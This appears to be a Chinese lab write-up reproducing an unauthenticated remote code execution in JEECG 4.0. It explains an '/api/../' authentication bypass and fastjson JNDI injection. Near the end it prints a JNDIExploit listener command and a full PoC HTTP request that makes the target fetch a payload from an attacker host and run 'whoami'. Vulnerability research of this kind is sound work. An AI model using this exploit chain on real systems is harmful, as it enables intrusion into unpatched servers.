1. 漏洞介绍
JEECG(J2EE Code Generation)
是开源的代码生成平台,目前官方已停止维护。JEECG 4.0
及之前版本中,由于/api
接口鉴权时未过滤路径遍历,攻击者可构造包含 ../
的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest
接口进行jndi
注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg
官方地址为:https://gitee.com/jeecg/jeecg
2. 漏洞流程图分析
3. 环境搭建
由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven
搭建,但是始终飘红报错,于是老老实实地按照官方文档使用eclipse+Maven
环境搭建,我的本地配置如下:
官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933
-
• 最新版
eclipse
-
•
apache-maven-3.1.1-bin
-
•
JDK1.8_102
(这里有个坑就是jdk1.8不能与tomcat6兼容,我们运行时候要使用tomcat7:run
的命令) -
•
Mysql5.7
-
•
Kali
虚拟机(充当vps的功能)
4. 漏洞详情分析
由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31
,是属于存在漏洞的版本。
感觉Eclipse
审计起来不太方便,我使用IDEA
来代替使用来审计。
现在我们已确定了Fastjson
版本存在问题,进一步寻找触发Fastjson
的漏洞点。
在审计Fastjson
漏洞的时候我们着重关注parseObject
和parse
这两个关键词
。我们在IDEA
中按下Ctrl+shift+f
进行查找:
发现调用了JSONObject.parseObject(result)
,发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java
文件中进行了调用。分别是函数sendGet(String url, String param)
以及sendPost(String url, String param)
。
然后继续寻找在哪里调用了这两个函数:
同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java
中调用了这两个函数:
/*** 常用示例Demo:接口测试* @param request* @param response* @return AjaxJson*/@RequestMapping(params = "interfaceTest")@ResponseBodypublic AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {AjaxJson j=new AjaxJson();try {String serverUrl = request.getParameter("serverUrl");//请求的地址String requestBody = request.getParameter("requestBody");//请求的参数String requestMethod = request.getParameter("requestMethod");//请求的方式if(requestMethod.equals("POST")){if(requestBody !=""){logger.info("----请求接口开始-----");JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);logger.info("----请求接口结束-----"+sendPost);j.setSuccess(true);j.setObj(sendPost.toJSONString());}else{j.setSuccess(false);j.setObj("请填写请求参数");}}if(requestMethod.equals("GET")){logger.info("----请求接口开始-----");JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);logger.info("----请求接口结束-----"+sendGet.toJSONString());j.setSuccess(true);j.setObj(sendGet);}} catch (Exception e) {j.setSuccess(false);j.setObj("服务器请求失败");e.printStackTrace();}return j;}
这段代码接受三个参数:serverUrl
、requestBody
、requestMethod
。然后根据requestMethod
的值决定调用不同的方法:HttpRequest.sendPost
或 HttpRequest.sendGet
。
我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass
:
然后我们根据漏洞简介定位/api
未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java
也就是说对于以 /api/
开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。
加上我们查看引用的Maven依赖
中的alwaysUseFullPath
为值默认false
,这样的话程序在处理发包中会对uri
进行标准化处理。于是我们就可以使用/api/../
的方式来进行bypass
比如说我们的poc
链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest=
然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest=
从而绕过登录限制。
然后就是针对fastjson1.2.31
版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT
利用方法就是先在我们的Kali
虚拟机(vps作用)上开启监听:
这里因为我的虚拟机上的java
版本过高,Java 9及以上版本引入了模块化系统,其中的java.xml
模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime
包,因此导致com.feihong.ldap.template.TomcatEchoTemplate
类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED
来向模块java.xml
添加导出指令,使得com.sun.org.apache.xalan.internal.xsltc.runtime
包能够被未命名模块(ALL-UNNAMED
)访问。
java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131
然后用python
公开一个poc.txt
然后直接调用该接口使用下面的Poc
即可:
POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoamiserverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET
5. 总结
一开始准备复现这个漏洞是以为JEECG-BOOT
爆这么大的前台RCE
漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,主要是老版本的环境Debug
问题,通过本漏洞的复现学习,对fastjson漏洞
和alwaysUseFullPath绕过鉴权漏洞
有了更多的体会。